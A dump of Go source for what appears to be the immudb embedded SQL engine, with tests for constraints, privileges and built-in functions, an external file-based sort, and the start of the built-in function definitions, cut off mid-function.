t.Require().NoError(err) v, err = vref.Resolve() t.Require().NoError(err) return k, v, vref } func (t *BrokenCatalogTestSuite) TestCanNotSetExpiredEntryInCatalog() { k, v, _ := t.getColEntry(2) md := store.NewKVMetadata() err := md.ExpiresAt(time.Now().Add(time.Hour)) t.Require().NoError(err) tx, err := t.st.NewTx(context.Background(), store.DefaultTxOptions()) t.Require().NoError(err) defer tx.Cancel() tx.Set(k, md, v) c := newCatalog(sqlPrefix) err = c.load(context.Background(), tx) t.Require().ErrorIs(err, ErrBrokenCatalogColSpecExpirable) } func (t *BrokenCatalogTestSuite) TestErrorWhenColSpecIsToShort() { k, v, vref := t.getColEntry(2) tx, err := t.st.NewTx(context.Background(), store.DefaultTxOptions()) t.Require().NoError(err) defer tx.Cancel() err = tx.Delete(context.Background(), k) t.Require().NoError(err) err = tx.Set(k[:len(k)-1], vref.KVMetadata(), v) t.Require().NoError(err) c := newCatalog(sqlPrefix) err = c.load(context.Background(), tx) t.Require().ErrorIs(err, ErrCorruptedData) } func (t *BrokenCatalogTestSuite) TestErrorColSpecNotSequential() { tx, err := t.engine.NewTx(context.Background(), DefaultTxOptions()) t.Require().NoError(err) defer tx.Cancel() err = persistColumn(tx, &Column{ id: 100, table: &Table{id: 1}, }) t.Require().NoError(err) c := newCatalog(sqlPrefix) err = c.load(context.Background(), tx.tx) t.Require().ErrorIs(err, ErrCorruptedData) } func (t *BrokenCatalogTestSuite) TestErrorColSpecDuplicate() { tx, err := t.engine.NewTx(context.Background(), DefaultTxOptions()) t.Require().NoError(err) defer tx.Cancel() // the type is part of the key, write another column with same id as the primary key err = persistColumn(tx, &Column{ id: 1, colType: BLOBType, table: &Table{id: 1}, }) t.Require().NoError(err) c := newCatalog(sqlPrefix) err = c.load(context.Background(), tx.tx) t.Require().ErrorIs(err, ErrCorruptedData) } func (t *BrokenCatalogTestSuite) TestErrorDroppedPrimaryIndexColumn() { tx, err := t.engine.NewTx(context.Background(), DefaultTxOptions()) t.Require().NoError(err) defer tx.Cancel() // the type is part of the key, write another column with same id as the primary key err = persistColumnDeletion(context.Background(), tx, &Column{ id: 1, colType: IntegerType, table: &Table{id: 1}, }) t.Require().NoError(err) c := newCatalog(sqlPrefix) err = c.load(context.Background(), tx.tx) t.Require().ErrorIs(err, ErrColumnDoesNotExist) } func TestCheckConstraints(t *testing.T) { st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) engine, err := NewEngine(st, DefaultOptions()) require.NoError(t, err) _, _, err = engine.Exec( context.Background(), nil, `CREATE TABLE table_with_checks ( id INTEGER AUTO_INCREMENT, account VARCHAR, in_balance FLOAT, out_balance FLOAT, balance FLOAT, metadata JSON, CONSTRAINT metadata_check CHECK metadata->'usr' IS NOT NULL, CHECK (account IS NULL) OR (account LIKE '^account_.*'), CONSTRAINT in_out_balance_sum CHECK (in_balance + out_balance = balance), CHECK (in_balance >= 0), CHECK (out_balance <= 0), CHECK (balance >= 0), PRIMARY KEY id )`, nil, ) require.NoError(t, err) t.Run("check constraint violation", func(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, `INSERT INTO table_with_checks(account, in_balance, out_balance, balance, metadata) VALUES ('account_one', 10, -1.5, 8.5, '{"usr": "user"}')`, nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, `INSERT INTO table_with_checks(account, in_balance, out_balance, balance, metadata) VALUES ('account', 20, -1.0, 19.0, '{"usr": "user"}')`, nil) require.ErrorIs(t, err, ErrCheckConstraintViolation) _, _, err = engine.Exec(context.Background(), nil, `INSERT INTO table_with_checks(account, in_balance, out_balance, balance, metadata) VALUES ('account_two', 10, 1.5, 11.5, '{"usr": "user"}')`, nil) require.ErrorIs(t, err, ErrCheckConstraintViolation) _, _, err = engine.Exec(context.Background(), nil, `INSERT INTO table_with_checks(account, in_balance, out_balance, balance, metadata) VALUES ('account_two', -1, 2.5, 1.5, '{"usr": "user"}')`, nil) require.ErrorIs(t, err, ErrCheckConstraintViolation) _, _, err = engine.Exec(context.Background(), nil, `INSERT INTO table_with_checks(account, in_balance, out_balance, balance, metadata) VALUES ('account_two', 10, -1.5, 9.0, '{"usr": "user"}')`, nil) require.ErrorIs(t, err, ErrCheckConstraintViolation) _, _, err = engine.Exec(context.Background(), nil, `UPDATE table_with_checks SET in_balance = in_balance - 1, out_balance = out_balance + 1 WHERE id = 1`, nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, `UPDATE table_with_checks SET out_balance = out_balance - 1, balance = balance - 1 WHERE id = 1`, nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "UPDATE table_with_checks SET in_balance = in_balance + 1 WHERE id = 1", nil) require.ErrorIs(t, err, ErrCheckConstraintViolation) _, _, err = engine.Exec(context.Background(), nil, "UPDATE table_with_checks SET in_balance = NULL", nil) require.ErrorIs(t, err, ErrCheckConstraintViolation) }) t.Run("drop constraint", func(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table_with_checks DROP CONSTRAINT metadata_check", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table_with_checks DROP CONSTRAINT in_out_balance_sum", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table_with_checks DROP CONSTRAINT in_out_balance_sum", nil) require.ErrorIs(t, err, ErrConstraintNotFound) _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table_with_checks(account, in_balance, out_balance, balance) VALUES (NULL, 10, -1.5, 9.0)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table_with_checks(account, in_balance, out_balance, balance) VALUES ('account_three', -1, -1.5, 9.0)", nil) require.ErrorIs(t, err, ErrCheckConstraintViolation) _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table_with_checks(account, in_balance, out_balance, balance) VALUES ('account_three', 10, 1.5, 9.0)", nil) require.ErrorIs(t, err, ErrCheckConstraintViolation) }) t.Run("drop column with constraint", func(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table_with_checks DROP COLUMN account", nil) require.ErrorIs(t, err, ErrCannotDropColumn) _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table_with_checks DROP CONSTRAINT table_with_checks_check1", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table_with_checks DROP COLUMN account", nil) require.NoError(t, err) }) t.Run("unsupported check expressions", func(t *testing.T) { _, _, err := engine.Exec( context.Background(), nil, `CREATE TABLE table_with_invalid_checks ( id INTEGER AUTO_INCREMENT, CHECK EXISTS (SELECT * FROM mytable), PRIMARY KEY id )`, nil, ) require.ErrorIs(t, err, ErrNoSupported) _, _, err = engine.Exec( context.Background(), nil, `CREATE TABLE table_with_invalid_checks ( id INTEGER AUTO_INCREMENT, CHECK id IN (SELECT * FROM mytable), PRIMARY KEY id )`, nil, ) require.ErrorIs(t, err, ErrNoSupported) }) } func TestQueryTxMetadata(t *testing.T) { opts := store.DefaultOptions().WithMultiIndexing(true) opts.WithIndexOptions(opts.IndexOpts.WithMaxActiveSnapshots(1)) st, err := store.Open(t.TempDir(), opts) require.NoError(t, err) defer closeStore(t, st) engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix).WithParseTxMetadataFunc(func(b []byte) (map[string]interface{}, error) { var md map[string]interface{} err := json.Unmarshal(b, &md) return md, err }), ) require.NoError(t, err) _, _, err = engine.Exec( context.Background(), nil, ` CREATE TABLE mytbl ( id INTEGER AUTO_INCREMENT, PRIMARY KEY(id) )`, nil) require.NoError(t, err) for i := 0; i < 10; i++ { extra, err := json.Marshal(map[string]interface{}{ "n": i + 1, }) require.NoError(t, err) txOpts := DefaultTxOptions().WithExtra(extra) tx, err := engine.NewTx(context.Background(), txOpts) require.NoError(t, err) _, _, err = engine.Exec( context.Background(), tx, fmt.Sprintf("INSERT INTO mytbl(id) VALUES (%d)", i+1), nil, ) require.NoError(t, err) } rows, err := engine.queryAll( context.Background(), nil, "SELECT _tx_metadata->'n' FROM mytbl", nil, ) require.NoError(t, err) require.Len(t, rows, 10) for i, row := range rows { n := row.ValuesBySelector[EncodeSelector("", "mytbl", "_tx_metadata->'n'")].RawValue() require.Equal(t, float64(i+1), n) } engine.parseTxMetadata = nil _, err = engine.queryAll( context.Background(), nil, "SELECT _tx_metadata->'n' FROM mytbl", nil, ) require.ErrorContains(t, err, "unable to parse tx metadata") engine.parseTxMetadata = func(b []byte) (map[string]interface{}, error) { return nil, fmt.Errorf("parse error") } _, err = engine.queryAll( context.Background(), nil, "SELECT _tx_metadata->'n' FROM mytbl", nil, ) require.ErrorIs(t, err, ErrInvalidTxMetadata) } func TestGrantSQLPrivileges(t *testing.T) { st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) dbs := []string{"db1", "db2"} handler := &multidbHandlerMock{ dbs: dbs, user: &mockUser{ username: "myuser", permission: PermissionReadOnly, sqlPrivileges: []SQLPrivilege{SQLPrivilegeSelect}, }, } opts := DefaultOptions(). WithPrefix(sqlPrefix). WithMultiDBHandler(handler) engine, err := NewEngine(st, opts) require.NoError(t, err) handler.dbs = dbs handler.engine = engine tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) _, _, err = engine.Exec( context.Background(), tx, "CREATE TABLE mytable(id INTEGER, PRIMARY KEY id);", nil, ) require.ErrorIs(t, err, ErrAccessDenied) handler.user.sqlPrivileges = append(handler.user.sqlPrivileges, SQLPrivilegeCreate) _, _, err = engine.Exec( context.Background(), tx, "CREATE TABLE mytable(id INTEGER, PRIMARY KEY id);", nil, ) require.ErrorIs(t, err, ErrAccessDenied) handler.user.permission = PermissionReadWrite _, _, err = engine.Exec( context.Background(), tx, "CREATE TABLE mytable(id INTEGER, PRIMARY KEY id);", nil, ) require.NoError(t, err) checkGrants := func(sql string) { rows, err := engine.queryAll(context.Background(), nil, sql, nil) require.NoError(t, err) require.Len(t, rows, 2) usr := rows[0].ValuesByPosition[0].RawValue().(string) privilege := rows[0].ValuesByPosition[1].RawValue().(string) require.Equal(t, usr, "myuser") require.Equal(t, privilege, string(SQLPrivilegeSelect)) usr = rows[1].ValuesByPosition[0].RawValue().(string) privilege = rows[1].ValuesByPosition[1].RawValue().(string) require.Equal(t, usr, "myuser") require.Equal(t, privilege, string(SQLPrivilegeCreate)) } checkGrants("SHOW GRANTS") checkGrants("SHOW GRANTS FOR myuser") } func TestFunctions(t *testing.T) { st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) _, _, err = engine.Exec( context.Background(), nil, "CREATE TABLE mytable(id INTEGER, PRIMARY KEY id)", nil, ) require.NoError(t, err) _, _, err = engine.Exec( context.Background(), nil, "INSERT INTO mytable(id) VALUES (1)", nil, ) require.NoError(t, err) t.Run("coalesce", func(t *testing.T) { type testCase struct { query string expectedValues string err error } cases := []testCase{ { query: "SELECT COALESCE (NULL)", expectedValues: "NULL", }, { query: "SELECT COALESCE (NULL, NULL)", expectedValues: "NULL", }, { query: "SELECT COALESCE(NULL, 1, 1.5, 3)", expectedValues: "1", }, { query: "SELECT COALESCE('one', 'two', 'three')", expectedValues: "'one'", }, { query: "SELECT COALESCE(1, 'test')", err: ErrInvalidTypes, }, } for _, tc := range cases { if tc.err != nil { _, err := engine.queryAll(context.Background(), nil, tc.query, nil) require.ErrorIs(t, err, tc.err) continue } assertQueryShouldProduceResults( t, engine, tc.query, fmt.Sprintf("SELECT * FROM (VALUES (%s))", tc.expectedValues)) } }) t.Run("timestamp functions", func(t *testing.T) { _, err := engine.queryAll(context.Background(), nil, "SELECT NOW(1) FROM mytable", nil) require.ErrorIs(t, err, ErrIllegalArguments) rows, err := engine.queryAll(context.Background(), nil, "SELECT NOW() FROM mytable", nil) require.NoError(t, err) require.Len(t, rows, 1) require.IsType(t, time.Time{}, rows[0].ValuesByPosition[0].RawValue()) }) t.Run("uuid functions", func(t *testing.T) { _, err := engine.queryAll(context.Background(), nil, "SELECT RANDOM_UUID(1) FROM mytable", nil) require.ErrorIs(t, err, ErrIllegalArguments) rows, err := engine.queryAll(context.Background(), nil, "SELECT RANDOM_UUID() FROM mytable", nil) require.NoError(t, err) require.Len(t, rows, 1) require.IsType(t, uuid.UUID{}, rows[0].ValuesByPosition[0].RawValue()) }) t.Run("string functions", func(t *testing.T) { t.Run("length", func(t *testing.T) { _, err := engine.queryAll(context.Background(), nil, "SELECT LENGTH(NULL, 1) FROM mytable", nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = engine.queryAll(context.Background(), nil, "SELECT LENGTH(10) FROM mytable", nil) require.ErrorIs(t, err, ErrIllegalArguments) rows, err := engine.queryAll(context.Background(), nil, "SELECT LENGTH(NULL) FROM mytable", nil) require.NoError(t, err) require.Len(t, rows, 1) require.True(t, rows[0].ValuesByPosition[0].IsNull()) require.Equal(t, IntegerType, rows[0].ValuesByPosition[0].Type()) rows, err = engine.queryAll(context.Background(), nil, "SELECT LENGTH('immudb'), LENGTH('') FROM mytable", nil) require.NoError(t, err) require.Len(t, rows, 1) require.Equal(t, int64(6), rows[0].ValuesByPosition[0].RawValue().(int64)) require.Equal(t, int64(0), rows[0].ValuesByPosition[1].RawValue().(int64)) }) t.Run("substring", func(t *testing.T) { _, err := engine.queryAll(context.Background(), nil, "SELECT SUBSTRING('Hello, immudb!', 0, 6, true) FROM mytable", nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = engine.queryAll(context.Background(), nil, "SELECT SUBSTRING('Hello, immudb!', 0, 6) FROM mytable", nil) require.ErrorContains(t, err, "parameter 'position' must be greater than zero") _, err = engine.queryAll(context.Background(), nil, "SELECT SUBSTRING('Hello, immudb!', 1, -1) FROM mytable", nil) require.ErrorContains(t, err, "parameter 'length' cannot be negative") rows, err := engine.queryAll(context.Background(), nil, "SELECT SUBSTRING(NULL, 8, 0) FROM mytable", nil) require.NoError(t, err) require.Len(t, rows, 1) require.True(t, rows[0].ValuesByPosition[0].IsNull()) require.Equal(t, VarcharType, rows[0].ValuesByPosition[0].Type()) rows, err = engine.queryAll(context.Background(), nil, "SELECT SUBSTRING('Hello, immudb!', 8, 0) FROM mytable", nil) require.NoError(t, err) require.Len(t, rows, 1) require.Equal(t, "", rows[0].ValuesByPosition[0].RawValue().(string)) rows, err = engine.queryAll(context.Background(), nil, "SELECT SUBSTRING('Hello, immudb!', 8, 6) FROM mytable", nil) require.NoError(t, err) require.Len(t, rows, 1) require.Equal(t, "immudb", rows[0].ValuesByPosition[0].RawValue().(string)) rows, err = engine.queryAll(context.Background(), nil, "SELECT SUBSTRING('Hello, immudb!', 8, 100) FROM mytable", nil) require.NoError(t, err) require.Len(t, rows, 1) require.Equal(t, "immudb!", rows[0].ValuesByPosition[0].RawValue().(string)) }) t.Run("trim", func(t *testing.T) { _, err := engine.queryAll(context.Background(), nil, "SELECT TRIM(1) FROM mytable", nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = engine.queryAll(context.Background(), nil, "SELECT TRIM(NULL, 1) FROM mytable", nil) require.ErrorIs(t, err, ErrIllegalArguments) rows, err := engine.queryAll(context.Background(), nil, "SELECT TRIM(NULL) FROM mytable", nil) require.NoError(t, err) require.Len(t, rows, 1) require.True(t, rows[0].ValuesByPosition[0].IsNull()) require.Equal(t, VarcharType, rows[0].ValuesByPosition[0].Type()) rows, err = engine.queryAll(context.Background(), nil, "SELECT TRIM(' \t\n\r Hello, immudb! ') FROM mytable", nil) require.NoError(t, err) require.Len(t, rows, 1) require.Equal(t, "Hello, immudb!", rows[0].ValuesByPosition[0].RawValue().(string)) }) t.Run("concat", func(t *testing.T) { _, err := engine.queryAll(context.Background(), nil, "SELECT CONCAT() FROM mytable", nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = engine.queryAll(context.Background(), nil, "SELECT CONCAT('ciao', NULL, true) FROM mytable", nil) require.ErrorContains(t, err, "'CONCAT' function doesn't accept arguments of type BOOL") rows, err := engine.queryAll(context.Background(), nil, "SELECT CONCAT('Hello', ', ', NULL, 'immudb', NULL, '!') FROM mytable", nil) require.NoError(t, err) require.Len(t, rows, 1) require.Equal(t, "Hello, immudb!", rows[0].ValuesByPosition[0].RawValue().(string)) }) t.Run("upper/lower", func(t *testing.T) { _, err := engine.queryAll(context.Background(), nil, "SELECT UPPER(1) FROM mytable", nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = engine.queryAll(context.Background(), nil, "SELECT LOWER(NULL, 1) FROM mytable", nil) require.ErrorIs(t, err, ErrIllegalArguments) rows, err := engine.queryAll(context.Background(), nil, "SELECT UPPER(NULL), LOWER(NULL) FROM mytable", nil) require.NoError(t, err) require.Len(t, rows, 1) require.True(t, rows[0].ValuesByPosition[0].IsNull()) require.True(t, rows[0].ValuesByPosition[1].IsNull()) rows, err = engine.queryAll(context.Background(), nil, "SELECT UPPER('immudb'), LOWER('IMMUDB') FROM mytable", nil) require.NoError(t, err) require.Len(t, rows, 1) require.Equal(t, "IMMUDB", rows[0].ValuesByPosition[0].RawValue().(string)) require.Equal(t, "immudb", rows[0].ValuesByPosition[1].RawValue().(string)) }) }) t.Run("json functions", func(t *testing.T) { _, err := engine.queryAll(context.Background(), nil, "SELECT JSON_TYPEOF(true) FROM mytable", nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = engine.queryAll(context.Background(), nil, "SELECT JSON_TYPEOF('{}'::JSON, 1) FROM mytable", nil) require.ErrorIs(t, err, ErrIllegalArguments) rows, err := engine.queryAll(context.Background(), nil, "SELECT JSON_TYPEOF(NULL) FROM mytable", nil) require.NoError(t, err) require.Len(t, rows, 1) require.Nil(t, rows[0].ValuesByPosition[0].RawValue()) rows, err = engine.queryAll(context.Background(), nil, "SELECT JSON_TYPEOF('{}'::JSON) FROM mytable", nil) require.NoError(t, err) require.Len(t, rows, 1) require.Equal(t, "OBJECT", rows[0].ValuesByPosition[0].RawValue().(string)) }) } func TestTableResolver(t *testing.T) { st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) r := &mockTableResolver{ name: "my_table", cols: []ColDescriptor{ {Column: "varchar_col", Type: VarcharType}, {Column: "int_col", Type: IntegerType}, {Column: "bool_col", Type: BooleanType}, }, values: [][]ValueExp{{NewVarchar("test"), NewInteger(1), NewBool(true)}}, } engine, err := NewEngine( st, DefaultOptions(). WithPrefix(sqlPrefix). WithTableResolvers(r), ) require.NoError(t, err) assertQueryShouldProduceResults( t, engine, "SELECT int_col, varchar_col, bool_col FROM my_table", `SELECT * FROM ( VALUES (1, 'test', true) )`, ) } func assertQueryShouldProduceResults(t *testing.T, e *Engine, query, resultQuery string) { queryReader, err := e.Query(context.Background(), nil, query, nil) require.NoError(t, err) defer queryReader.Close() resultReader, err := e.Query(context.Background(), nil, resultQuery, nil) require.NoError(t, err) defer resultReader.Close() for { actualRow, actualErr := queryReader.Read(context.Background()) expectedRow, expectedErr := resultReader.Read(context.Background()) require.Equal(t, expectedErr, actualErr) if errors.Is(actualErr, ErrNoMoreRows) { break } require.Equal(t, expectedRow.ValuesByPosition, actualRow.ValuesByPosition) } } type mockTableResolver struct { name string cols []ColDescriptor values [][]ValueExp } func (r *mockTableResolver) Table() string { return r.name } func (r *mockTableResolver) Resolve(ctx context.Context, tx *SQLTx, alias string) (RowReader, error) { return NewValuesRowReader( tx, nil, r.cols, false, r.name, r.values, ) } ================================================ FILE: embedded/sql/file_sort.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "bufio" "bytes" "encoding/binary" "io" "os" "sort" ) type sortedChunk struct { offset uint64 size uint64 } type fileSorter struct { colPosBySelector map[string]int colTypes []string cmp func(r1, r2 *Row) (int, error) tx *SQLTx sortBufSize int sortBuf []*Row nextIdx int tempFile *os.File writer *bufio.Writer tempFileSize uint64 chunksToMerge []sortedChunk } func (s *fileSorter) update(r *Row) error { if s.nextIdx == s.sortBufSize { err := s.sortAndFlushBuffer() if err != nil { return err } s.nextIdx = 0 } s.sortBuf[s.nextIdx] = r s.nextIdx++ return nil } func (s *fileSorter) finalize() (resultReader, error) { if s.nextIdx > 0 { if err := s.sortBuffer(); err != nil { return nil, err } } // result rows are all in memory if len(s.chunksToMerge) == 0 { return &bufferResultReader{ sortBuf: s.sortBuf[:s.nextIdx], }, nil } err := s.flushBuffer() if err != nil { return nil, err } err = s.writer.Flush() if err != nil { return nil, err } return s.mergeAllChunks() } func (s *fileSorter) mergeAllChunks() (resultReader, error) { currFile := s.tempFile outFile, err := s.tx.createTempFile() if err != nil { return nil, err } lbuf := &bufio.Reader{} rbuf := &bufio.Reader{} lr := &fileRowReader{ colPosBySelector: s.colPosBySelector, colTypes: s.colTypes, reader: lbuf, reuseRow: true, } rr := &fileRowReader{ colPosBySelector: s.colPosBySelector, colTypes: s.colTypes, reader: rbuf, reuseRow: true, } chunks := s.chunksToMerge for len(chunks) > 1 { s.writer.Reset(outFile) var offset uint64 newChunks := make([]sortedChunk, (len(chunks)+1)/2) for i := 0; i < len(chunks)/2; i++ { c1 := chunks[i*2] c2 := chunks[i*2+1] lbuf.Reset(io.NewSectionReader(currFile, int64(c1.offset), int64(c1.size))) rbuf.Reset(io.NewSectionReader(currFile, int64(c2.offset), int64(c2.size))) err := s.mergeChunks(lr, rr, s.writer) if err != nil { return nil, err } newChunks[i] = sortedChunk{ offset: offset, size: c1.size + c2.size, } offset += c1.size + c2.size } err := s.writer.Flush() if err != nil { return nil, err } if len(chunks)%2 != 0 { // copy last sorted chunk lastChunk := chunks[len(chunks)-1] _, err := io.Copy(outFile, io.NewSectionReader(currFile, int64(lastChunk.offset), int64(lastChunk.size))) if err != nil { return nil, err } newChunks[len(chunks)/2] = lastChunk } temp := currFile currFile = outFile outFile = temp _, err = outFile.Seek(0, io.SeekStart) if err != nil { return nil, err } chunks = newChunks } return &fileRowReader{ colTypes: s.colTypes, colPosBySelector: s.colPosBySelector, reader: bufio.NewReader(io.NewSectionReader(currFile, 0, int64(s.tempFileSize))), }, nil } func (s *fileSorter) mergeChunks(lr, rr *fileRowReader, writer io.Writer) error { var err error var lrAtEOF bool var r1, r2 *Row for { if r1 == nil { r1, err = lr.Read() if err == ErrNoMoreRows { lrAtEOF = true break } if err != nil { return err } } if r2 == nil { r2, err = rr.Read() if err == ErrNoMoreRows { break } if err != nil { return err } } var rawData []byte res, err := s.cmp(r1, r2) if err != nil { return err } if res < 0 { rawData = lr.rowBuf.Bytes() r1 = nil } else { rawData = rr.rowBuf.Bytes() r2 = nil } _, err = writer.Write(rawData) if err != nil { return err } } readerToCopy := lr if lrAtEOF { readerToCopy = rr } _, err = writer.Write(readerToCopy.rowBuf.Bytes()) if err != nil { return err } _, err = io.Copy(writer, readerToCopy.reader) return err } type resultReader interface { Read() (*Row, error) } type bufferResultReader struct { sortBuf []*Row nextIdx int } func (r *bufferResultReader) Read() (*Row, error) { if r.nextIdx == len(r.sortBuf) { return nil, ErrNoMoreRows } row := r.sortBuf[r.nextIdx] r.nextIdx++ return row, nil } type fileRowReader struct { colPosBySelector map[string]int colTypes []SQLValueType reader io.Reader rowBuf bytes.Buffer row *Row reuseRow bool } func (r *fileRowReader) readValues(out []TypedValue) error { var size uint16 err := binary.Read(r.reader, binary.BigEndian, &size) if err != nil { return err } r.rowBuf.Reset() binary.Write(&r.rowBuf, binary.BigEndian, &size) _, err = io.CopyN(&r.rowBuf, r.reader, int64(size)) if err != nil { return err } data := r.rowBuf.Bytes() return decodeValues(data[2:], r.colTypes, out) } func (r *fileRowReader) Read() (*Row, error) { row := r.getRow() err := r.readValues(row.ValuesByPosition) if err == io.EOF { return nil, ErrNoMoreRows } if err != nil { return nil, err } for sel, pos := range r.colPosBySelector { row.ValuesBySelector[sel] = row.ValuesByPosition[pos] } return row, nil } func (r *fileRowReader) getRow() *Row { row := r.row if row == nil || !r.reuseRow { row = &Row{ ValuesByPosition: make([]TypedValue, len(r.colPosBySelector)), ValuesBySelector: make(map[string]TypedValue, len(r.colPosBySelector)), } r.row = row } return row } func decodeValues(data []byte, colTypes []SQLValueType, out []TypedValue) error { var voff int for i, col := range colTypes { v, n, err := DecodeNullableValue(data[voff:], col) if err != nil { return err } voff += n out[i] = v } return nil } func (s *fileSorter) sortAndFlushBuffer() error { if err := s.sortBuffer(); err != nil { return err } return s.flushBuffer() } func (s *fileSorter) sortBuffer() error { buf := s.sortBuf[:s.nextIdx] var outErr error sort.Slice(buf, func(i, j int) bool { r1 := buf[i] r2 := buf[j] res, err := s.cmp(r1, r2) if err != nil { outErr = err } return res < 0 }) return outErr } func (s *fileSorter) flushBuffer() error { writer, err := s.tempFileWriter() if err != nil { return err } var chunkSize uint64 for _, row := range s.sortBuf[:s.nextIdx] { data, err := encodeRow(row) if err != nil { return err } _, err = writer.Write(data) if err != nil { return err } chunkSize += uint64(len(data)) } s.chunksToMerge = append(s.chunksToMerge, sortedChunk{ offset: s.tempFileSize, size: chunkSize, }) s.tempFileSize += chunkSize return nil } func (s *fileSorter) tempFileWriter() (*bufio.Writer, error) { if s.writer != nil { return s.writer, nil } file, err := s.tx.createTempFile() if err != nil { return nil, err } s.tempFile = file s.writer = bufio.NewWriter(file) return s.writer, nil } func encodeRow(r *Row) ([]byte, error) { var buf bytes.Buffer buf.Write([]byte{0, 0}) // make room for size field for _, v := range r.ValuesByPosition { rawValue, err := EncodeNullableValue(v, v.Type(), -1) if err != nil { return nil, err } buf.Write(rawValue) } data := buf.Bytes() size := uint16(len(data) - 2) binary.BigEndian.PutUint16(data, size) return data, nil } ================================================ FILE: embedded/sql/functions.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "fmt" "strings" "time" "github.com/google/uuid" ) const ( CoalesceFnCall string = "COALESCE" LengthFnCall string = "LENGTH" SubstringFnCall string = "SUBSTRING" ConcatFnCall string = "CONCAT" LowerFnCall string = "LOWER" UpperFnCall string = "UPPER" TrimFnCall string = "TRIM" NowFnCall string = "NOW" UUIDFnCall string = "RANDOM_UUID" DatabasesFnCall string = "DATABASES" TablesFnCall string = "TABLES" TableFnCall string = "TABLE" UsersFnCall string = "USERS" ColumnsFnCall string = "COLUMNS" IndexesFnCall string = "INDEXES" GrantsFnCall string = "GRANTS" JSONTypeOfFnCall string = "JSON_TYPEOF" PGGetUserByIDFnCall string = "PG_GET_USERBYID" PgTableIsVisibleFnCall string = "PG_TABLE_IS_VISIBLE" PgShobjDescriptionFnCall string = "SHOBJ_DESCRIPTION" ) var builtinFunctions = map[string]Function{ CoalesceFnCall: &CoalesceFn{}, LengthFnCall: &LengthFn{}, SubstringFnCall: &SubstringFn{}, ConcatFnCall: &ConcatFn{}, LowerFnCall: &LowerUpperFnc{}, UpperFnCall: &LowerUpperFnc{isUpper: true}, TrimFnCall: &TrimFnc{}, NowFnCall: &NowFn{}, UUIDFnCall: &UUIDFn{}, JSONTypeOfFnCall: &JsonTypeOfFn{}, PGGetUserByIDFnCall: &pgGetUserByIDFunc{}, PgTableIsVisibleFnCall: &pgTableIsVisible{}, PgShobjDescriptionFnCall: &pgShobjDescription{}, } type Function interface { RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) } type CoalesceFn struct{} func (f *CoalesceFn) InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return AnyType, nil } func (f *CoalesceFn) RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { return nil } func (f *CoalesceFn) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) { t := AnyType for _, p := range params { if !p.IsNull() { if t == AnyType { t = p.Type() } else if p.Type() != t && !(IsNumericType(t) && IsNumericType(p.Type())) { return nil, fmt.Errorf("coalesce: %w", ErrInvalidTypes) } } } for _, p := range params { if !p.IsNull() { return p, nil } } return NewNull(t), nil } // ------------------------------------- // String Functions // ------------------------------------- type LengthFn struct{} func (f *LengthFn) InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return IntegerType, nil } func (f *LengthFn) RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != IntegerType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, IntegerType, t) } return nil } func (f *LengthFn) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) { if len(params) != 1 { return nil, fmt.Errorf("%w: '%s' function does expects one argument but %d were provided", ErrIllegalArguments, LengthFnCall, len(params)) } v := params[0] if v.IsNull() { return &NullValue{t: IntegerType}, nil } if v.Type() != VarcharType { return nil, fmt.Errorf("%w: 